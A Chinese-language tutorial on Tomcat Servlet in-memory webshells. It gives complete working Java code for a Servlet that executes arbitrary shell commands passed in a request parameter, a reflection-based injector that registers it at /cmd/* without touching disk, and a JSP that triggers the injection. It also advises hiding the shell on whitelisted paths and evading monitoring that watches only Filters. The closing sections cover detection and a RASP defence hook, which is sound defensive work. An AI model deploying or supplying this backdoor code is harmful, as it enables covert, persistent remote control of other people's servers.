Tomcat Servlet 内存马

Servlet 内存马

Servlet 型内存马通过在 Tomcat 运行时动态注册恶意 Servlet,映射到指定 URL 路径,访问该路径即可触发命令执行。与 Filter 型内存马的区别在于:Servlet 作用于请求处理的末端(Filter 链之后),但同样不需要文件落地。

本质:模拟 createWrapper + addChild + addServletMappingDecoded,把恶意 service 代码 + /shell 路径组装进 children 与 Mapper 路由表,访问该路径即被路由到恶意 Servlet。整体框架见 《内存马原理总纲》。


一、Tomcat Servlet 架构

1.1 Servlet 在 Tomcat 中的位置

HTTP 请求
    ↓
Connector (CoyoteAdapter)
    ↓
Engine → Host → Context
    ↓
Mapper.map() — URL 路由匹配 → Wrapper
    ↓
StandardWrapperValve.invoke()
    ↓
ApplicationFilterChain → Filter 链
    ↓
Wrapper.getServlet().service()  ← 到这里

1.2 核心类关系

ContainerBase (抽象容器)
├── StandardEngine
├── StandardHost
├── StandardContext       → 管理所有 Wrapper
│   └── children: HashMap<String, Container>
│       └── StandardWrapper@/servletA
│       └── StandardWrapper@/servletB
└── StandardWrapper       → 封装单个 Servlet
    ├── servletClass: String
    ├── servletName: String
    ├── instance: Servlet (单例)
    └── instanceSupport: InstanceSupport (生命周期)

关键数据结构:

组件 作用 位置
StandardWrapper 封装一个 Servlet,管理其生命周期 StandardContext.children
ServletMapping URL 路径到 Wrapper 的映射 Context.servletMappings
Mapper 负责请求 URL 的路由分发 Tomcat 全局单例

1.3 Wrapper 的创建与加载

// Tomcat 启动时创建 Wrapper
// StandardContext.createWrapper()
public Wrapper createWrapper() {
    Wrapper wrapper = new StandardWrapper();
    wrapper.setParent(this);
    return wrapper;
}

// 添加子容器(将 Wrapper 注册到 Context)
wrapper.setName("HelloServlet");
wrapper.setServletClass("com.example.HelloServlet");
context.addChild(wrapper);

// 配置 URL 映射
context.addServletMappingDecoded("/hello", "HelloServlet");

二、动态注册原理

核心思路:获取 StandardContext → 创建 StandardWrapper → 设置 Servlet → 添加为子容器 → 配置 URL 映射。

动态注册步骤:

1. 编写恶意 Servlet 类
2. 获取 StandardContext 对象
3. 检查是否已存在同名 Wrapper(防重复)
4. 创建 StandardWrapper 实例
5. 设置 servletName 和 servletClass
6. 调用 context.addChild(wrapper) 注册
7. 调用 context.addServletMappingDecoded() 配置 URL 映射
8. 调用 wrapper.load() 初始化 Servlet(执行 init())

获取 StandardContext 的通用反射链(RequestFacade.request → connector.Request.getContext(),或 ServletContext → ApplicationContext → StandardContext)见 Filter 篇 2.1。

2.1 URL 映射原理

Tomcat 使用 Mapper 组件做 URL → Wrapper 的路由匹配:

请求: /cmd/shell
    ↓
Mapper.map(MessageBytes, MappingData)
    ↓
遍历 Context 的 ServletMappings
    ↓
匹配成功 → MappingData.wrapper = matchedWrapper
    ↓
StandardContextValve → StandardWrapperValve → servlet.service()

Context.addServletMappingDecoded() 会将映射规则注册到内部 Mapper 中,新增的映射立即生效。


三、完整代码实现

3.1 恶意 Servlet 类

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class ServletMemShell extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    private void handleRequest(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        String cmd = req.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().write("<pre>" + result + "</pre>");
            } catch (Exception e) {
                resp.getWriter().write("Error: " + e.getMessage());
            }
        } else {
            resp.getWriter().write("Servlet Memory Shell Active");
        }
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 注入器代码

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.startup.ContextConfig;
import javax.servlet.Servlet;
import java.lang.reflect.Field;

public class ServletMemShellInjector {

    /**
     * 注入 Servlet 内存马
     * @param context StandardContext 对象
     * @param servletName Servlet 名称
     * @param urlPattern URL 映射路径
     */
    public static void inject(StandardContext context, 
                               String servletName, 
                               String urlPattern) throws Exception {
        
        // Step 1: 检查是否已注入
        if (context.findChild(servletName) != null) {
            System.out.println("[!] Servlet already exists: " + servletName);
            return;
        }

        // Step 2: 创建 Wrapper
        StandardWrapper wrapper = (StandardWrapper) context.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServletClass(ServletMemShell.class.getName());
        // loadOnStartup > 0:addChild() 内部触发 start() 时会立即 loadServlet()
        wrapper.setLoadOnStartup(1);

        // Step 3: 注册为 Context 的子容器
        // addChild() 内部(ContainerBase.addChildInternal)会自动调用 child.start(),
        // 由 loadOnStartup=1 触发 Servlet 实例化
        context.addChild(wrapper);

        // Step 4: 配置 URL 映射(新映射立即写入内部 Mapper,无需重启)
        context.addServletMappingDecoded(urlPattern, servletName);

        // Step 5: 幂等初始化(addChild 已触发 start,此处为防御性写法)
        wrapper.load();
        wrapper.start();
    }

    /**
     * 从 JSP 或反序列化入口调用
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext
        StandardContext context = getStandardContext(request);
        inject(context, "ServletMemShell", "/cmd/*");
    }

    private static StandardContext getStandardContext(
            javax.servlet.ServletRequest servletRequest) throws Exception {
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request request = 
            (org.apache.catalina.connector.Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 触发注入的 JSP

说明:以下 JSP 引用默认包类 ServletMemShellInjector,为讲解简化(假设恶意类已部署)。真实利用时 JSP 必须自包含——把恶意类内联进 <%! %> 并直接注册(写法见 Valve 篇 3.4),或由反序列化 defineClass 提供类;测试工程已提供自包含版本。

<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request,
    java.lang.reflect.Field" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        ServletMemShellInjector.inject(context, "ServletMemShell", "/cmd/*");
        
        out.println("Servlet memory shell injected successfully!");
        out.println("Access: /cmd?cmd=whoami");
    } catch (Exception e) {
        out.println("Injection failed: " + e.getMessage());
        e.printStackTrace(new java.io.PrintWriter(out));
    }
%>

四、代码详解

4.1 Wrapper 与 Filter 的核心差异

对比维度 Filter 内存马 Servlet 内存马
执行位置 Servlet 之前(Filter 链中) Filter 链之后(最终处理)
目标对象 StandardContext.filterDefs StandardContext.children
映射方式 FilterMap 数组 servletMappings + Mapper
覆盖范围 /* 匹配所有请求 精确路径匹配
优先级 靠前插入即优先执行 同等优先级(路径匹配)
生命周期 init() → doFilter() → destroy() init() → service() → destroy()

4.2 context.addChild() 做了什么

// ContainerBase.addChildInternal()
private void addChildInternal(Container child) {
    // 1. 添加到 children 集合
    children.put(child.getName(), child);
    
    // 2. 设置父容器
    child.setParent(this);
    
    // 3. 触发 START 事件
    child.start();
    
    // 4. 通知所有监听器
    fireContainerEvent(ADD_CHILD_EVENT, child);
}

当 Wrapper 被添加为 Context 的子容器后,Tomcat 会自动将其纳入生命周期管理。

4.3 URL 路径匹配规则

Tomcat 支持四种 Servlet 映射规则:

映射模式 示例 优先级
精确匹配 /exact/path 最高
路径匹配 /admin/* 次高
扩展名匹配 *.do 第三
默认匹配 / 最低

/cmd/* 属于路径匹配,命中率仅次于精确匹配。

4.4 防重复注入

if (context.findChild(servletName) != null) {
    return; // 同名 Wrapper 已存在
}

通过 context.findChild(name) 检查是否已存在同名子容器,避免重复注册。

4.5 版本兼容性

Tomcat 版本 Servlet 包 说明
8.x / 9.x javax.servlet 本系列代码适用
10.x / 11.x jakarta.servlet 需全局替换包名
  • addChild() + addServletMappingDecoded() 的机制在 Tomcat 8/9/10/11 上一致, 10+ 只需把 javax.servlet 换成 jakarta.servlet。
  • 反射链依赖的字段(RequestFacade.request、connector.Request.response)在不同大版本间相对 稳定,但属于私有字段,字段名变更时注入/回显会失败,实战前需确认目标版本。
  • wrapper.load()/start() 与 addChild() 内部触发的 start() 相比是幂等操作 (LifecycleBase.start() 对已 STARTED 状态直接返回),重复调用无副作用。

五、利用场景

5.1 作为 Filter 的备用通道

// 场景:目标只允许特定路径通过,Filter 被拦截
// 解法:注入 Servlet 到白名单路径
context.addServletMappingDecoded("/public/health", "ServletMemShell");
// 访问:/public/health?cmd=id

5.2 绕过只检查 Filter 的防御

某些安全产品只监控 FilterDef 和 FilterMap 的变化,不检查 Wrapper 容器:

防御产品监控:
  ✅ FilterDef 注册
  ✅ FilterMap 注册
  ❌ Wrapper 注册(盲区)
  ❌ servletMapping 变更(盲区)

5.3 与 Filter 组合使用

请求 → FilterMemShell (记录日志, 放行)
     → ServletMemShell (执行命令, 回显)

Filter 负责隐蔽性(不干扰正常请求),Servlet 负责功能性(命令执行回显)。


六、检测方式

6.1 通过 JMX 检查 Servlet 列表

# 使用 JMX 查看所有已注册的 Servlet
jconsole → MBeans → Catalina → Context → /your-app → children

6.2 Arthas 在线排查

# 查看 StandardContext 的 children
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].children' \
  --limit 10

# 搜索可疑 Wrapper
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardWrapper \
  --express 'instances[0].servletClass' \
  --limit 20

# 查看 Servlet 映射(servletMappings 是实例字段,静态 OGNL 语法拿不到,需先拿实例)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].servletMappings' --limit 10

6.3 内存 Dump 分析

# dump 堆内存
jmap -dump:live,format=b,file=servlet.hprof <pid>

# MAT / VisualVM 中搜索
# 1. 列出所有 StandardWrapper 实例
# 2. 检查 servletClass 字段是否为标准类
# 3. 对比基线数据

6.4 基线对比脚本

// 获取当前所有 Servlet 映射
public static Map<String, String> getServletMappings(StandardContext ctx) {
    Map<String, String> mappings = new HashMap<>();
    for (Container child : ctx.findChildren()) {
        if (child instanceof Wrapper) {
            Wrapper w = (Wrapper) child;
            mappings.put(w.getName(), w.getServletClass());
        }
    }
    return mappings;
}
// 与部署时的预期列表对比,找出异常项

七、防御建议

层面 措施 实现方式
运行时 RASP Hook 拦截 ContainerBase.addChild() 调用
运行时 Security Manager 禁止反射访问 StandardContext
监控 JVM Agent 监控 children map 的变更
运维 定期巡检 对比 Servlet 基线
// RASP Hook 示例(教学简化版)
@RuntimeType
public static void onAddChild(@This ContainerBase container,
                               @Argument(0) Container child) {
    if (!(container instanceof StandardContext)) {
        return;
    }
    // 正常启动 / 部署流程会经过 ContextConfig 调用栈,运行时反射注入没有它
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 属于启动 / 部署流程,放行
        }
    }
    // 其余 addChild 调用(如运行时反射注入 Wrapper)→ 告警并阻断
    alert("Detected runtime Servlet injection: " + child.getName());
    throw new SecurityException("Suspicious container modification blocked");
    // 说明:以"调用栈是否含 ContextConfig"做白名单是教学简化;生产环境还需排除
    // Tomcat 热部署、嵌入式容器自身启动等合法场景,建议结合线程名与调用来源综合判断。
    }

八、总结

Servlet 内存马与 Filter 内存马的对比:

特性 Servlet 内存马 Filter 内存马
难度 ⭐⭐ ⭐⭐⭐
隐蔽性 ⭐⭐⭐⭐ ⭐⭐⭐
灵活性 ⭐⭐⭐ ⭐⭐⭐⭐⭐
检测难度 较高 中等

选择建议:

  • 优先 Filter:覆盖范围广,能拦截所有请求,适合需要持续监控的场景
  • 备选 Servlet:更隐蔽(部分监控产品不检查 Wrapper),适合作为备用通道
  • 组合使用:Filter + Servlet 双保险,互为备份
延伸阅读:Tomcat Filter 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马 Tomcat基础
改变就是好事。